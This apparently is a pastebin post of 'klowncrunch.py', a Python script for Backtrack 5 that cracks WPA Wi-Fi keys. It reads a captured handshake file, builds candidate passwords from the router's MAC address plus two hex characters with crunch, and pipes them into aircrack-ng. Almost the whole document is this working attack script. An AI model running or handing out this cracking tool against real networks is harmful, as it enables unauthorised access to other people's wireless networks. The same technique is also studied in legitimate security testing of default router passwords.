klowncrunch.py


SUBMITTED BY: Guest

DATE: Nov. 17, 2012, 4:03 a.m.

FORMAT: Text only

SIZE: 2.8 kB

HITS: 1649

  1. #!/usr/bin/python
  2. # klowncrunch
  3. # Written by Capt_Noobius
  4. # For use with Backtrack 5
  5. #
  6. # -- THIS IS SCRIPT IS PURELY FOR EXPERIMENTAL PURPOSES AND MAY NOT ACTUALLY WORK ;)
  7. #
  8. # Your .cap file must be the name of the network you are cracking. Eg. MyNetwork must be MyNetwork.cap
  9. # Your .cap file may need to be cleaned with WPAclean for this script to work properly
  10. # WPAclean usage: wpaclean <new name of cap> <cap you want cleaned>
  11. import os
  12. import sys
  13. import logging
  14. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  15. from scapy.all import *
  16. from scapy.utils import rdpcap
  17. path = '/root/Desktop/' # change to the directory you keep your cap files
  18. hccap = '.hccap' #not supported
  19. pcap = '.cap'
  20. def logo_header():
  21. print
  22. print """
  23. _ _ _
  24. | | _| | _____ ___ __ ___ _ __ _ _ _ __ ___| |__
  25. | |/ / |/ _ \ \ /\ / / '_ \ / __| '__| | | | '_ \ / __| '_ \
  26. | <| | (_) \ V V /| | | | | (__| | | |_| | | | | (__| | | |
  27. |_|\_\_|\___/ \_/\_/ |_| |_| \___|_| \__,_|_| |_|\___|_| |_|
  28. by Capt_Noobius
  29. """
  30. def capfile_options():
  31. logo_header()
  32. global ssid
  33. global handshake
  34. capfile_essid_stripped= os.path.splitext(os.path.basename(cap_selection))[0]
  35. ssid= '"' + capfile_essid_stripped + '"'
  36. cap_file= ''
  37. if any(cap_selection.endswith(hccap) for ext in hccap):
  38. print
  39. print "hccap files not supported. Please use a .cap file"
  40. sys.exit()
  41. if any(cap_selection.endswith(pcap) for ext in pcap):
  42. handshake= ssid+pcap
  43. def capfile_menu():
  44. logo_header()
  45. global cap_selection
  46. global cap_file
  47. dirList=sorted(os.listdir(path))
  48. for i in range(0,len(dirList)):
  49. print "%d)" % (i+1), dirList[i]
  50. selected = raw_input("Enter the number of the cap file you would like to crack: ")
  51. selected = int(selected)
  52. cap_selection= dirList[selected-1]
  53. capfile_options()
  54. def klown_crunch():
  55. pkts=rdpcap(path+cap_selection,1)
  56. p=pkts[0]
  57. for pkt in pkts:
  58. mac_address= p.addr2
  59. mac_replace = mac_address.replace(':', '')[:10].upper()
  60. crunch_two='@@'
  61. crunch_main= '/pentest/passwords/crunch/./crunch 12 12 -f /pentest/passwords/crunch/charset.lst hex-upper -t %s%s | aircrack-ng -e %s %s -w-' % (mac_replace,crunch_two,ssid,path+handshake)
  62. os.system(crunch_main)
  63. capfile_menu()
  64. klown_crunch()

comments powered by Disqus